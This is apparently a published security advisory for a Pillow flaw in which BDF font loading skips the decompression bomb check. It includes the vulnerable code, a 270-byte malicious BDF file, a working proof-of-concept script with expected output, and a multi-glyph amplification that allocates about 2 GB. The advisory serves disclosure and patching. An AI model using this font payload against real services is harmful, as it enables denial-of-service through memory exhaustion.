CVE-2026-55379: Pillow `BdfFontFile` `Image.new()` Called Without `_decompression_bomb_check()` — Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-45hq-cxwh-f6vc",
  "modified" : "2026-07-20T21:13:18Z",
  "published" : "2026-07-20T21:13:18Z",
  "aliases" : [ "CVE-2026-55379" ],
  "summary" : "Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading",
  "details" : "### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n    im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n    # TRIGGERED when BITMAP section is empty (zero hex lines)\n    im = Image.new(\"1\", (width, height))   # ← NO _decompression_bomb_check()!\n    # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size  : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\"    Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size  : 270 bytes\n[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n    Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):**  \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None  \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "12.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55379"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-789" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:13:18Z",
    "nvd_published_at" : "2026-07-06T19:17:08Z"
  }
}